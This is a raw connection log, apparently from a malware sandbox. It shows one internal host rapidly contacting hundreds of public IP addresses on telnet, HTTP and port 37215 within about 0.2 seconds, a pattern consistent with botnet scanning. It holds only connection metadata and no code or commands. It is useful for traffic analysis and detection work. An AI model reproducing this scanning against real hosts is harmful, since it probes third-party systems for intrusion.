Oct 17, 2024 02:19:45.161761999 CEST	20632	23	192.168.2.14	171.103.124.37
Oct 17, 2024 02:19:45.161761999 CEST	20632	23	192.168.2.14	184.65.218.6
Oct 17, 2024 02:19:45.161761999 CEST	20646	80	192.168.2.14	69.26.230.186
Oct 17, 2024 02:19:45.161767960 CEST	20646	80	192.168.2.14	95.8.199.54
Oct 17, 2024 02:19:45.161768913 CEST	20632	23	192.168.2.14	4.37.188.78
Oct 17, 2024 02:19:45.161768913 CEST	20632	23	192.168.2.14	70.214.240.34
Oct 17, 2024 02:19:45.161767960 CEST	20632	23	192.168.2.14	37.178.229.33
Oct 17, 2024 02:19:45.161771059 CEST	20632	23	192.168.2.14	136.124.52.116
Oct 17, 2024 02:19:45.161773920 CEST	20632	23	192.168.2.14	186.217.192.253
Oct 17, 2024 02:19:45.161773920 CEST	20632	23	192.168.2.14	212.237.240.99
Oct 17, 2024 02:19:45.161777973 CEST	20646	80	192.168.2.14	179.109.48.189
Oct 17, 2024 02:19:45.161792040 CEST	20632	23	192.168.2.14	34.221.213.40
Oct 17, 2024 02:19:45.161792994 CEST	20632	23	192.168.2.14	212.41.202.145
Oct 17, 2024 02:19:45.161792994 CEST	20632	23	192.168.2.14	42.160.235.192
Oct 17, 2024 02:19:45.161794901 CEST	20646	80	192.168.2.14	13.151.247.232
Oct 17, 2024 02:19:45.161796093 CEST	20632	23	192.168.2.14	221.104.113.211
Oct 17, 2024 02:19:45.161792040 CEST	20646	80	192.168.2.14	210.152.231.58
Oct 17, 2024 02:19:45.161796093 CEST	20632	23	192.168.2.14	160.113.58.163
Oct 17, 2024 02:19:45.161798000 CEST	20632	23	192.168.2.14	91.8.44.70
Oct 17, 2024 02:19:45.161798000 CEST	20646	80	192.168.2.14	196.175.32.234
Oct 17, 2024 02:19:45.161802053 CEST	20632	23	192.168.2.14	182.48.139.192
Oct 17, 2024 02:19:45.161802053 CEST	20632	23	192.168.2.14	49.242.3.229
Oct 17, 2024 02:19:45.161803961 CEST	20646	80	192.168.2.14	152.147.185.213
Oct 17, 2024 02:19:45.161808968 CEST	20632	23	192.168.2.14	116.238.143.177
Oct 17, 2024 02:19:45.161812067 CEST	20632	23	192.168.2.14	84.64.28.160
Oct 17, 2024 02:19:45.161812067 CEST	20632	23	192.168.2.14	76.198.36.160
Oct 17, 2024 02:19:45.161812067 CEST	20632	23	192.168.2.14	180.33.106.76
Oct 17, 2024 02:19:45.161817074 CEST	20646	80	192.168.2.14	191.64.203.238
Oct 17, 2024 02:19:45.161820889 CEST	20632	23	192.168.2.14	97.38.9.7
Oct 17, 2024 02:19:45.161827087 CEST	20632	23	192.168.2.14	79.253.54.159
Oct 17, 2024 02:19:45.161827087 CEST	20646	80	192.168.2.14	177.115.202.139
Oct 17, 2024 02:19:45.161827087 CEST	20646	80	192.168.2.14	172.132.8.29
Oct 17, 2024 02:19:45.161828995 CEST	20646	80	192.168.2.14	190.18.240.121
Oct 17, 2024 02:19:45.161828995 CEST	20632	23	192.168.2.14	133.69.125.108
Oct 17, 2024 02:19:45.161828995 CEST	20632	23	192.168.2.14	57.112.207.74
Oct 17, 2024 02:19:45.161833048 CEST	20632	23	192.168.2.14	112.200.114.155
Oct 17, 2024 02:19:45.161843061 CEST	20632	23	192.168.2.14	66.251.74.205
Oct 17, 2024 02:19:45.161847115 CEST	20632	23	192.168.2.14	13.78.224.229
Oct 17, 2024 02:19:45.161853075 CEST	20632	23	192.168.2.14	192.134.120.255
Oct 17, 2024 02:19:45.161858082 CEST	20632	23	192.168.2.14	19.97.229.3
Oct 17, 2024 02:19:45.161858082 CEST	20646	80	192.168.2.14	124.18.0.136
Oct 17, 2024 02:19:45.161858082 CEST	20646	80	192.168.2.14	53.217.67.197
Oct 17, 2024 02:19:45.161861897 CEST	20632	23	192.168.2.14	38.115.176.8
Oct 17, 2024 02:19:45.161861897 CEST	20646	80	192.168.2.14	36.33.68.119
Oct 17, 2024 02:19:45.161864042 CEST	20646	80	192.168.2.14	163.234.218.60
Oct 17, 2024 02:19:45.161864996 CEST	20632	23	192.168.2.14	87.45.192.13
Oct 17, 2024 02:19:45.161864996 CEST	20632	23	192.168.2.14	206.62.27.194
Oct 17, 2024 02:19:45.161864996 CEST	20632	23	192.168.2.14	148.213.78.117
Oct 17, 2024 02:19:45.161864996 CEST	20632	23	192.168.2.14	179.212.192.44
Oct 17, 2024 02:19:45.161864996 CEST	20646	80	192.168.2.14	191.65.125.220
Oct 17, 2024 02:19:45.161871910 CEST	20632	23	192.168.2.14	18.213.70.225
Oct 17, 2024 02:19:45.161871910 CEST	20646	80	192.168.2.14	17.247.91.35
Oct 17, 2024 02:19:45.161880016 CEST	20632	23	192.168.2.14	98.168.142.25
Oct 17, 2024 02:19:45.161887884 CEST	20646	80	192.168.2.14	221.170.178.73
Oct 17, 2024 02:19:45.161887884 CEST	20632	23	192.168.2.14	135.6.220.62
Oct 17, 2024 02:19:45.161895990 CEST	20646	80	192.168.2.14	18.186.3.210
Oct 17, 2024 02:19:45.161895990 CEST	20646	80	192.168.2.14	217.143.132.129
Oct 17, 2024 02:19:45.161895990 CEST	20632	23	192.168.2.14	14.243.182.204
Oct 17, 2024 02:19:45.161906004 CEST	20646	80	192.168.2.14	13.157.27.171
Oct 17, 2024 02:19:45.161919117 CEST	20646	80	192.168.2.14	132.227.217.134
Oct 17, 2024 02:19:45.161919117 CEST	20632	23	192.168.2.14	109.110.140.171
Oct 17, 2024 02:19:45.161920071 CEST	20646	80	192.168.2.14	222.143.205.129
Oct 17, 2024 02:19:45.161920071 CEST	20646	80	192.168.2.14	102.236.55.169
Oct 17, 2024 02:19:45.161920071 CEST	20632	23	192.168.2.14	23.49.115.35
Oct 17, 2024 02:19:45.161921024 CEST	20632	23	192.168.2.14	96.49.173.220
Oct 17, 2024 02:19:45.161920071 CEST	20632	23	192.168.2.14	48.194.245.135
Oct 17, 2024 02:19:45.161922932 CEST	20632	23	192.168.2.14	129.100.141.10
Oct 17, 2024 02:19:45.161923885 CEST	20632	23	192.168.2.14	126.31.107.36
Oct 17, 2024 02:19:45.161921024 CEST	20632	23	192.168.2.14	211.123.51.180
Oct 17, 2024 02:19:45.161923885 CEST	20646	80	192.168.2.14	57.160.5.2
Oct 17, 2024 02:19:45.161923885 CEST	20632	23	192.168.2.14	104.5.148.72
Oct 17, 2024 02:19:45.161923885 CEST	20632	23	192.168.2.14	162.98.149.118
Oct 17, 2024 02:19:45.161936045 CEST	20632	23	192.168.2.14	163.22.148.245
Oct 17, 2024 02:19:45.161938906 CEST	20632	23	192.168.2.14	91.21.5.56
Oct 17, 2024 02:19:45.161938906 CEST	20632	23	192.168.2.14	134.117.130.182
Oct 17, 2024 02:19:45.161938906 CEST	20632	23	192.168.2.14	197.125.200.69
Oct 17, 2024 02:19:45.161942959 CEST	20632	23	192.168.2.14	125.55.215.38
Oct 17, 2024 02:19:45.161956072 CEST	20632	23	192.168.2.14	198.147.182.20
Oct 17, 2024 02:19:45.161956072 CEST	20632	23	192.168.2.14	153.13.56.224
Oct 17, 2024 02:19:45.161972046 CEST	20646	80	192.168.2.14	47.142.5.146
Oct 17, 2024 02:19:45.161972046 CEST	20646	80	192.168.2.14	201.220.192.163
Oct 17, 2024 02:19:45.161972046 CEST	20632	23	192.168.2.14	158.214.147.229
Oct 17, 2024 02:19:45.161974907 CEST	20646	80	192.168.2.14	162.6.140.138
Oct 17, 2024 02:19:45.161989927 CEST	20646	80	192.168.2.14	85.196.61.254
Oct 17, 2024 02:19:45.161989927 CEST	20632	23	192.168.2.14	154.61.79.135
Oct 17, 2024 02:19:45.161992073 CEST	20632	23	192.168.2.14	208.159.174.120
Oct 17, 2024 02:19:45.161998987 CEST	20646	80	192.168.2.14	2.32.63.20
Oct 17, 2024 02:19:45.162012100 CEST	20646	80	192.168.2.14	145.45.106.219
Oct 17, 2024 02:19:45.162023067 CEST	20646	80	192.168.2.14	31.28.196.62
Oct 17, 2024 02:19:45.162028074 CEST	20646	80	192.168.2.14	222.150.205.172
Oct 17, 2024 02:19:45.162034035 CEST	20646	80	192.168.2.14	35.126.43.176
Oct 17, 2024 02:19:45.162034035 CEST	20646	80	192.168.2.14	45.131.112.169
Oct 17, 2024 02:19:45.162065983 CEST	20646	80	192.168.2.14	194.5.7.113
Oct 17, 2024 02:19:45.162065983 CEST	20646	80	192.168.2.14	208.218.200.185
Oct 17, 2024 02:19:45.162066936 CEST	20646	80	192.168.2.14	39.246.242.36
Oct 17, 2024 02:19:45.162066936 CEST	20646	80	192.168.2.14	49.85.109.135
Oct 17, 2024 02:19:45.162074089 CEST	20646	80	192.168.2.14	195.9.90.207
Oct 17, 2024 02:19:45.162074089 CEST	20646	80	192.168.2.14	199.36.18.58
Oct 17, 2024 02:19:45.162075043 CEST	20646	80	192.168.2.14	107.37.207.176
Oct 17, 2024 02:19:45.162077904 CEST	20646	80	192.168.2.14	60.112.5.70
Oct 17, 2024 02:19:45.162081957 CEST	20646	80	192.168.2.14	110.216.95.145
Oct 17, 2024 02:19:45.162096024 CEST	20646	80	192.168.2.14	96.174.209.18
Oct 17, 2024 02:19:45.162100077 CEST	20646	80	192.168.2.14	32.124.50.43
Oct 17, 2024 02:19:45.162121058 CEST	20646	80	192.168.2.14	111.255.34.41
Oct 17, 2024 02:19:45.162121058 CEST	20646	80	192.168.2.14	166.161.77.200
Oct 17, 2024 02:19:45.162122965 CEST	20646	80	192.168.2.14	101.212.142.88
Oct 17, 2024 02:19:45.162134886 CEST	20646	80	192.168.2.14	222.7.79.117
Oct 17, 2024 02:19:45.162134886 CEST	20646	80	192.168.2.14	182.47.40.45
Oct 17, 2024 02:19:45.162149906 CEST	20646	80	192.168.2.14	176.34.150.48
Oct 17, 2024 02:19:45.162149906 CEST	20646	80	192.168.2.14	94.186.5.7
Oct 17, 2024 02:19:45.162164927 CEST	20646	80	192.168.2.14	65.51.67.153
Oct 17, 2024 02:19:45.162178040 CEST	20646	80	192.168.2.14	196.237.176.76
Oct 17, 2024 02:19:45.162180901 CEST	20646	80	192.168.2.14	130.99.77.199
Oct 17, 2024 02:19:45.162180901 CEST	20646	80	192.168.2.14	46.62.42.9
Oct 17, 2024 02:19:45.162203074 CEST	20646	80	192.168.2.14	37.4.31.178
Oct 17, 2024 02:19:45.162209034 CEST	20646	80	192.168.2.14	69.89.214.246
Oct 17, 2024 02:19:45.162209988 CEST	20646	80	192.168.2.14	13.244.65.149
Oct 17, 2024 02:19:45.162209034 CEST	20646	80	192.168.2.14	200.4.5.158
Oct 17, 2024 02:19:45.162218094 CEST	20646	80	192.168.2.14	67.64.212.116
Oct 17, 2024 02:19:45.162218094 CEST	20646	80	192.168.2.14	158.76.131.25
Oct 17, 2024 02:19:45.162218094 CEST	20646	80	192.168.2.14	184.248.130.69
Oct 17, 2024 02:19:45.162218094 CEST	20646	80	192.168.2.14	168.43.147.221
Oct 17, 2024 02:19:45.162225962 CEST	20646	80	192.168.2.14	154.81.214.253
Oct 17, 2024 02:19:45.162233114 CEST	20646	80	192.168.2.14	18.244.230.228
Oct 17, 2024 02:19:45.162242889 CEST	20646	80	192.168.2.14	14.57.143.40
Oct 17, 2024 02:19:45.162245035 CEST	20646	80	192.168.2.14	65.103.233.234
Oct 17, 2024 02:19:45.162254095 CEST	20646	80	192.168.2.14	68.222.176.138
Oct 17, 2024 02:19:45.162254095 CEST	20646	80	192.168.2.14	27.220.61.144
Oct 17, 2024 02:19:45.162261009 CEST	20646	80	192.168.2.14	35.245.102.99
Oct 17, 2024 02:19:45.162270069 CEST	20646	80	192.168.2.14	42.179.197.244
Oct 17, 2024 02:19:45.162285089 CEST	20646	80	192.168.2.14	222.115.215.141
Oct 17, 2024 02:19:45.162297964 CEST	20646	80	192.168.2.14	44.79.153.187
Oct 17, 2024 02:19:45.162319899 CEST	20646	80	192.168.2.14	19.156.167.135
Oct 17, 2024 02:19:45.162328959 CEST	20646	80	192.168.2.14	43.218.93.193
Oct 17, 2024 02:19:45.162331104 CEST	20646	80	192.168.2.14	104.193.180.246
Oct 17, 2024 02:19:45.162331104 CEST	20646	80	192.168.2.14	181.151.81.158
Oct 17, 2024 02:19:45.162333965 CEST	20646	80	192.168.2.14	135.175.23.12
Oct 17, 2024 02:19:45.162348986 CEST	20646	80	192.168.2.14	14.65.145.204
Oct 17, 2024 02:19:45.162349939 CEST	20646	80	192.168.2.14	129.74.119.0
Oct 17, 2024 02:19:45.162348986 CEST	20646	80	192.168.2.14	190.224.104.59
Oct 17, 2024 02:19:45.162358046 CEST	20646	80	192.168.2.14	192.137.15.19
Oct 17, 2024 02:19:45.162364960 CEST	20646	80	192.168.2.14	78.254.78.58
Oct 17, 2024 02:19:45.162395954 CEST	20646	80	192.168.2.14	219.216.45.104
Oct 17, 2024 02:19:45.162398100 CEST	20646	80	192.168.2.14	68.36.19.112
Oct 17, 2024 02:19:45.162401915 CEST	20646	80	192.168.2.14	134.223.176.92
Oct 17, 2024 02:19:45.162401915 CEST	20646	80	192.168.2.14	73.34.62.52
Oct 17, 2024 02:19:45.162409067 CEST	20646	80	192.168.2.14	50.175.157.220
Oct 17, 2024 02:19:45.162421942 CEST	20646	80	192.168.2.14	153.169.224.141
Oct 17, 2024 02:19:45.162422895 CEST	20646	80	192.168.2.14	27.190.121.18
Oct 17, 2024 02:19:45.162436962 CEST	20646	80	192.168.2.14	41.118.86.82
Oct 17, 2024 02:19:45.162451029 CEST	20646	80	192.168.2.14	114.161.205.58
Oct 17, 2024 02:19:45.162451029 CEST	20646	80	192.168.2.14	152.218.118.28
Oct 17, 2024 02:19:45.162453890 CEST	20646	80	192.168.2.14	53.53.46.196
Oct 17, 2024 02:19:45.162455082 CEST	20646	80	192.168.2.14	71.99.1.252
Oct 17, 2024 02:19:45.162460089 CEST	20646	80	192.168.2.14	50.186.128.134
Oct 17, 2024 02:19:45.162472963 CEST	20646	80	192.168.2.14	95.246.125.1
Oct 17, 2024 02:19:45.162475109 CEST	20646	80	192.168.2.14	118.158.170.11
Oct 17, 2024 02:19:45.162475109 CEST	20646	80	192.168.2.14	63.7.202.19
Oct 17, 2024 02:19:45.162475109 CEST	20646	80	192.168.2.14	114.165.26.105
Oct 17, 2024 02:19:45.162487030 CEST	20646	80	192.168.2.14	47.132.1.159
Oct 17, 2024 02:19:45.162488937 CEST	20646	80	192.168.2.14	204.101.73.75
Oct 17, 2024 02:19:45.162492990 CEST	20646	80	192.168.2.14	132.137.235.76
Oct 17, 2024 02:19:45.162492990 CEST	20646	80	192.168.2.14	70.219.212.143
Oct 17, 2024 02:19:45.162503958 CEST	20646	80	192.168.2.14	112.111.214.245
Oct 17, 2024 02:19:45.162508011 CEST	20646	80	192.168.2.14	186.236.168.227
Oct 17, 2024 02:19:45.162528038 CEST	20646	80	192.168.2.14	218.13.254.248
Oct 17, 2024 02:19:45.162528992 CEST	20646	80	192.168.2.14	139.2.65.195
Oct 17, 2024 02:19:45.162528992 CEST	20646	80	192.168.2.14	107.159.117.52
Oct 17, 2024 02:19:45.162528992 CEST	20646	80	192.168.2.14	188.253.19.40
Oct 17, 2024 02:19:45.162553072 CEST	20646	80	192.168.2.14	43.18.174.61
Oct 17, 2024 02:19:45.162559986 CEST	20646	80	192.168.2.14	20.194.75.197
Oct 17, 2024 02:19:45.162560940 CEST	20646	80	192.168.2.14	46.185.111.254
Oct 17, 2024 02:19:45.162565947 CEST	20646	80	192.168.2.14	107.120.130.23
Oct 17, 2024 02:19:45.162580967 CEST	20646	80	192.168.2.14	50.72.206.191
Oct 17, 2024 02:19:45.162609100 CEST	20646	80	192.168.2.14	209.39.103.212
Oct 17, 2024 02:19:45.162610054 CEST	20646	80	192.168.2.14	223.4.211.37
Oct 17, 2024 02:19:45.162612915 CEST	20646	80	192.168.2.14	8.221.248.111
Oct 17, 2024 02:19:45.162616014 CEST	20646	80	192.168.2.14	68.246.38.251
Oct 17, 2024 02:19:45.162616014 CEST	20646	80	192.168.2.14	221.36.82.27
Oct 17, 2024 02:19:45.162619114 CEST	20646	80	192.168.2.14	98.12.157.114
Oct 17, 2024 02:19:45.162630081 CEST	20646	80	192.168.2.14	178.104.140.27
Oct 17, 2024 02:19:45.162643909 CEST	20646	80	192.168.2.14	91.253.53.100
Oct 17, 2024 02:19:45.162671089 CEST	20646	80	192.168.2.14	222.88.108.33
Oct 17, 2024 02:19:45.162671089 CEST	20646	80	192.168.2.14	53.243.89.139
Oct 17, 2024 02:19:45.162672997 CEST	20646	80	192.168.2.14	75.111.235.240
Oct 17, 2024 02:19:45.162683010 CEST	20646	80	192.168.2.14	51.249.15.245
Oct 17, 2024 02:19:45.162688971 CEST	20646	80	192.168.2.14	61.154.55.1
Oct 17, 2024 02:19:45.162688971 CEST	20646	80	192.168.2.14	40.75.26.211
Oct 17, 2024 02:19:45.162714005 CEST	20646	80	192.168.2.14	204.81.0.118
Oct 17, 2024 02:19:45.162714005 CEST	20646	80	192.168.2.14	13.104.5.153
Oct 17, 2024 02:19:45.162733078 CEST	20646	80	192.168.2.14	43.14.98.138
Oct 17, 2024 02:19:45.162734985 CEST	20646	80	192.168.2.14	13.244.168.22
Oct 17, 2024 02:19:45.162734985 CEST	20646	80	192.168.2.14	166.171.116.250
Oct 17, 2024 02:19:45.162741899 CEST	20646	80	192.168.2.14	125.15.25.44
Oct 17, 2024 02:19:45.162741899 CEST	20646	80	192.168.2.14	144.52.106.158
Oct 17, 2024 02:19:45.162753105 CEST	20646	80	192.168.2.14	106.31.188.110
Oct 17, 2024 02:19:45.162906885 CEST	20646	80	192.168.2.14	148.23.199.111
Oct 17, 2024 02:19:45.162909985 CEST	47110	80	192.168.2.14	113.128.194.225
Oct 17, 2024 02:19:45.162925005 CEST	47110	80	192.168.2.14	113.128.194.225
Oct 17, 2024 02:19:45.163615942 CEST	48300	80	192.168.2.14	113.128.194.225
Oct 17, 2024 02:19:45.165478945 CEST	23	20632	36.245.209.195	192.168.2.14
Oct 17, 2024 02:19:45.165532112 CEST	20632	23	192.168.2.14	36.245.209.195
Oct 17, 2024 02:19:45.167772055 CEST	80	47110	113.128.194.225	192.168.2.14
Oct 17, 2024 02:19:45.179162025 CEST	37215	39894	197.144.202.170	192.168.2.14
Oct 17, 2024 02:19:45.187709093 CEST	58188	37215	192.168.2.14	41.187.219.13
Oct 17, 2024 02:19:45.187715054 CEST	51026	80	192.168.2.14	5.130.89.178
Oct 17, 2024 02:19:45.191735029 CEST	36036	23	192.168.2.14	117.10.250.66
Oct 17, 2024 02:19:45.192667007 CEST	37215	58188	41.187.219.13	192.168.2.14
Oct 17, 2024 02:19:45.192682028 CEST	80	51026	5.130.89.178	192.168.2.14
Oct 17, 2024 02:19:45.192725897 CEST	58188	37215	192.168.2.14	41.187.219.13
Oct 17, 2024 02:19:45.192733049 CEST	51026	80	192.168.2.14	5.130.89.178
Oct 17, 2024 02:19:45.193078041 CEST	51026	80	192.168.2.14	5.130.89.178
Oct 17, 2024 02:19:45.193090916 CEST	51026	80	192.168.2.14	5.130.89.178
Oct 17, 2024 02:19:45.194024086 CEST	56960	37215	192.168.2.14	197.223.27.223
Oct 17, 2024 02:19:45.194598913 CEST	52208	80	192.168.2.14	5.130.89.178
Oct 17, 2024 02:19:45.196727037 CEST	23	36036	117.10.250.66	192.168.2.14
Oct 17, 2024 02:19:45.196852922 CEST	36036	23	192.168.2.14	117.10.250.66
Oct 17, 2024 02:19:45.197037935 CEST	36710	37215	192.168.2.14	41.244.101.219
Oct 17, 2024 02:19:45.197845936 CEST	80	51026	5.130.89.178	192.168.2.14
Oct 17, 2024 02:19:45.198995113 CEST	34124	37215	192.168.2.14	197.196.241.77
Oct 17, 2024 02:19:45.200762033 CEST	44458	37215	192.168.2.14	41.255.64.17
Oct 17, 2024 02:19:45.202630997 CEST	36192	37215	192.168.2.14	156.180.112.46
Oct 17, 2024 02:19:45.204400063 CEST	60390	37215	192.168.2.14	41.27.133.111
Oct 17, 2024 02:19:45.205555916 CEST	37215	44458	41.255.64.17	192.168.2.14
Oct 17, 2024 02:19:45.205611944 CEST	44458	37215	192.168.2.14	41.255.64.17
Oct 17, 2024 02:19:45.206231117 CEST	36278	37215	192.168.2.14	41.111.11.36
Oct 17, 2024 02:19:45.207741022 CEST	33094	37215	192.168.2.14	41.218.100.231
Oct 17, 2024 02:19:45.209894896 CEST	50022	37215	192.168.2.14	197.22.184.90
Oct 17, 2024 02:19:45.211122036 CEST	80	47110	113.128.194.225	192.168.2.14
Oct 17, 2024 02:19:45.211828947 CEST	52836	37215	192.168.2.14	41.106.34.9
Oct 17, 2024 02:19:45.212635994 CEST	37215	33094	41.218.100.231	192.168.2.14
Oct 17, 2024 02:19:45.212735891 CEST	33094	37215	192.168.2.14	41.218.100.231
Oct 17, 2024 02:19:45.213799953 CEST	42656	37215	192.168.2.14	197.108.22.112
Oct 17, 2024 02:19:45.215449095 CEST	42322	37215	192.168.2.14	197.163.195.109
Oct 17, 2024 02:19:45.217789888 CEST	52572	37215	192.168.2.14	156.122.104.64
Oct 17, 2024 02:19:45.219651937 CEST	39080	37215	192.168.2.14	41.79.247.129
Oct 17, 2024 02:19:45.219693899 CEST	56936	37215	192.168.2.14	156.105.45.222
Oct 17, 2024 02:19:45.221574068 CEST	59100	37215	192.168.2.14	156.131.117.182
Oct 17, 2024 02:19:45.223165035 CEST	60178	37215	192.168.2.14	41.151.141.155
Oct 17, 2024 02:19:45.224481106 CEST	37215	39080	41.79.247.129	192.168.2.14
Oct 17, 2024 02:19:45.224551916 CEST	39080	37215	192.168.2.14	41.79.247.129
Oct 17, 2024 02:19:45.225152016 CEST	46932	37215	192.168.2.14	156.38.156.73
Oct 17, 2024 02:19:45.226917028 CEST	47486	37215	192.168.2.14	156.181.211.122
Oct 17, 2024 02:19:45.228828907 CEST	39112	37215	192.168.2.14	41.255.43.44
Oct 17, 2024 02:19:45.230635881 CEST	49020	37215	192.168.2.14	197.207.80.3
Oct 17, 2024 02:19:45.232841015 CEST	47770	37215	192.168.2.14	156.86.247.169
Oct 17, 2024 02:19:45.233669996 CEST	37215	39112	41.255.43.44	192.168.2.14
Oct 17, 2024 02:19:45.233726978 CEST	39112	37215	192.168.2.14	41.255.43.44
Oct 17, 2024 02:19:45.234899998 CEST	38548	37215	192.168.2.14	156.247.50.249
Oct 17, 2024 02:19:45.236912012 CEST	50110	37215	192.168.2.14	41.202.126.139
Oct 17, 2024 02:19:45.238785028 CEST	48596	37215	192.168.2.14	197.255.60.156
Oct 17, 2024 02:19:45.239152908 CEST	80	51026	5.130.89.178	192.168.2.14
Oct 17, 2024 02:19:45.240634918 CEST	51598	37215	192.168.2.14	197.173.149.57
Oct 17, 2024 02:19:45.242619991 CEST	53590	37215	192.168.2.14	41.209.69.201
Oct 17, 2024 02:19:45.244740963 CEST	39184	37215	192.168.2.14	156.241.180.10
Oct 17, 2024 02:19:45.245481014 CEST	37215	51598	197.173.149.57	192.168.2.14
Oct 17, 2024 02:19:45.245640039 CEST	51598	37215	192.168.2.14	197.173.149.57
Oct 17, 2024 02:19:45.246433973 CEST	48708	37215	192.168.2.14	41.2.165.91
Oct 17, 2024 02:19:45.249027014 CEST	54736	37215	192.168.2.14	156.150.26.154
Oct 17, 2024 02:19:45.250756025 CEST	58432	37215	192.168.2.14	197.116.92.11
Oct 17, 2024 02:19:45.252779007 CEST	52074	37215	192.168.2.14	41.115.118.32
Oct 17, 2024 02:19:45.253885984 CEST	37215	54736	156.150.26.154	192.168.2.14
Oct 17, 2024 02:19:45.253990889 CEST	58188	37215	192.168.2.14	41.187.219.13
Oct 17, 2024 02:19:45.254019022 CEST	58188	37215	192.168.2.14	41.187.219.13
Oct 17, 2024 02:19:45.254127026 CEST	54736	37215	192.168.2.14	156.150.26.154
Oct 17, 2024 02:19:45.254641056 CEST	59434	37215	192.168.2.14	41.187.219.13
Oct 17, 2024 02:19:45.255779028 CEST	44458	37215	192.168.2.14	41.255.64.17
Oct 17, 2024 02:19:45.255779028 CEST	44458	37215	192.168.2.14	41.255.64.17
Oct 17, 2024 02:19:45.256542921 CEST	44516	37215	192.168.2.14	41.255.64.17
Oct 17, 2024 02:19:45.257527113 CEST	33094	37215	192.168.2.14	41.218.100.231
Oct 17, 2024 02:19:45.257527113 CEST	33094	37215	192.168.2.14	41.218.100.231
Oct 17, 2024 02:19:45.258227110 CEST	33146	37215	192.168.2.14	41.218.100.231
Oct 17, 2024 02:19:45.258863926 CEST	37215	58188	41.187.219.13	192.168.2.14
Oct 17, 2024 02:19:45.259299040 CEST	39080	37215	192.168.2.14	41.79.247.129
Oct 17, 2024 02:19:45.259299040 CEST	39080	37215	192.168.2.14	41.79.247.129
Oct 17, 2024 02:19:45.260473013 CEST	39122	37215	192.168.2.14	41.79.247.129
Oct 17, 2024 02:19:45.260627031 CEST	37215	44458	41.255.64.17	192.168.2.14
Oct 17, 2024 02:19:45.261686087 CEST	39112	37215	192.168.2.14	41.255.43.44
Oct 17, 2024 02:19:45.261686087 CEST	39112	37215	192.168.2.14	41.255.43.44
Oct 17, 2024 02:19:45.262357950 CEST	37215	33094	41.218.100.231	192.168.2.14
Oct 17, 2024 02:19:45.262506008 CEST	39146	37215	192.168.2.14	41.255.43.44
Oct 17, 2024 02:19:45.263453960 CEST	51598	37215	192.168.2.14	197.173.149.57
Oct 17, 2024 02:19:45.263453960 CEST	51598	37215	192.168.2.14	197.173.149.57
Oct 17, 2024 02:19:45.264195919 CEST	37215	39080	41.79.247.129	192.168.2.14
Oct 17, 2024 02:19:45.264214993 CEST	51622	37215	192.168.2.14	197.173.149.57
Oct 17, 2024 02:19:45.265280008 CEST	37215	39122	41.79.247.129	192.168.2.14
Oct 17, 2024 02:19:45.265348911 CEST	39122	37215	192.168.2.14	41.79.247.129
Oct 17, 2024 02:19:45.265548944 CEST	39122	37215	192.168.2.14	41.79.247.129
Oct 17, 2024 02:19:45.265553951 CEST	54736	37215	192.168.2.14	156.150.26.154
Oct 17, 2024 02:19:45.265554905 CEST	54736	37215	192.168.2.14	156.150.26.154
Oct 17, 2024 02:19:45.266288042 CEST	54754	37215	192.168.2.14	156.150.26.154
Oct 17, 2024 02:19:45.266484976 CEST	37215	39112	41.255.43.44	192.168.2.14
Oct 17, 2024 02:19:45.268299103 CEST	37215	51598	197.173.149.57	192.168.2.14
Oct 17, 2024 02:19:45.270407915 CEST	37215	54736	156.150.26.154	192.168.2.14
Oct 17, 2024 02:19:45.270579100 CEST	37215	39122	41.79.247.129	192.168.2.14
Oct 17, 2024 02:19:45.270634890 CEST	39122	37215	192.168.2.14	41.79.247.129
Oct 17, 2024 02:19:45.284286022 CEST	23	59946	150.65.175.239	192.168.2.14
Oct 17, 2024 02:19:45.284528971 CEST	59946	23	192.168.2.14	150.65.175.239
Oct 17, 2024 02:19:45.285329103 CEST	60032	23	192.168.2.14	150.65.175.239
Oct 17, 2024 02:19:45.289335012 CEST	23	59946	150.65.175.239	192.168.2.14
Oct 17, 2024 02:19:45.290088892 CEST	23	60032	150.65.175.239	192.168.2.14
Oct 17, 2024 02:19:45.290141106 CEST	60032	23	192.168.2.14	150.65.175.239
Oct 17, 2024 02:19:45.299134016 CEST	37215	58188	41.187.219.13	192.168.2.14
Oct 17, 2024 02:19:45.303124905 CEST	37215	33094	41.218.100.231	192.168.2.14
Oct 17, 2024 02:19:45.303138018 CEST	37215	44458	41.255.64.17	192.168.2.14
Oct 17, 2024 02:19:45.307159901 CEST	37215	39112	41.255.43.44	192.168.2.14
Oct 17, 2024 02:19:45.307173967 CEST	37215	39080	41.79.247.129	192.168.2.14
Oct 17, 2024 02:19:45.311181068 CEST	37215	54736	156.150.26.154	192.168.2.14
Oct 17, 2024 02:19:45.311253071 CEST	37215	51598	197.173.149.57	192.168.2.14
Oct 17, 2024 02:19:45.315705061 CEST	48600	80	192.168.2.14	73.11.181.94
Oct 17, 2024 02:19:45.315706015 CEST	55952	37215	192.168.2.14	197.166.253.195
Oct 17, 2024 02:19:45.320553064 CEST	80	48600	73.11.181.94	192.168.2.14
Oct 17, 2024 02:19:45.320569038 CEST	37215	55952	197.166.253.195	192.168.2.14
Oct 17, 2024 02:19:45.320621967 CEST	55952	37215	192.168.2.14	197.166.253.195
Oct 17, 2024 02:19:45.320902109 CEST	55952	37215	192.168.2.14	197.166.253.195
Oct 17, 2024 02:19:45.320902109 CEST	55952	37215	192.168.2.14	197.166.253.195
Oct 17, 2024 02:19:45.320986986 CEST	48600	80	192.168.2.14	73.11.181.94
Oct 17, 2024 02:19:45.321214914 CEST	48600	80	192.168.2.14	73.11.181.94
Oct 17, 2024 02:19:45.321225882 CEST	48600	80	192.168.2.14	73.11.181.94
Oct 17, 2024 02:19:45.322439909 CEST	57154	37215	192.168.2.14	197.166.253.195
Oct 17, 2024 02:19:45.322911024 CEST	49814	80	192.168.2.14	73.11.181.94
Oct 17, 2024 02:19:45.325642109 CEST	37215	55952	197.166.253.195	192.168.2.14
Oct 17, 2024 02:19:45.326085091 CEST	80	48600	73.11.181.94	192.168.2.14
Oct 17, 2024 02:19:45.327276945 CEST	37215	57154	197.166.253.195	192.168.2.14
Oct 17, 2024 02:19:45.327331066 CEST	57154	37215	192.168.2.14	197.166.253.195
Oct 17, 2024 02:19:45.327378988 CEST	57154	37215	192.168.2.14	197.166.253.195
Oct 17, 2024 02:19:45.327657938 CEST	80	49814	73.11.181.94	192.168.2.14
Oct 17, 2024 02:19:45.327753067 CEST	49814	80	192.168.2.14	73.11.181.94
Oct 17, 2024 02:19:45.327754021 CEST	49814	80	192.168.2.14	73.11.181.94
Oct 17, 2024 02:19:45.332636118 CEST	37215	57154	197.166.253.195	192.168.2.14
Oct 17, 2024 02:19:45.332735062 CEST	57154	37215	192.168.2.14	197.166.253.195
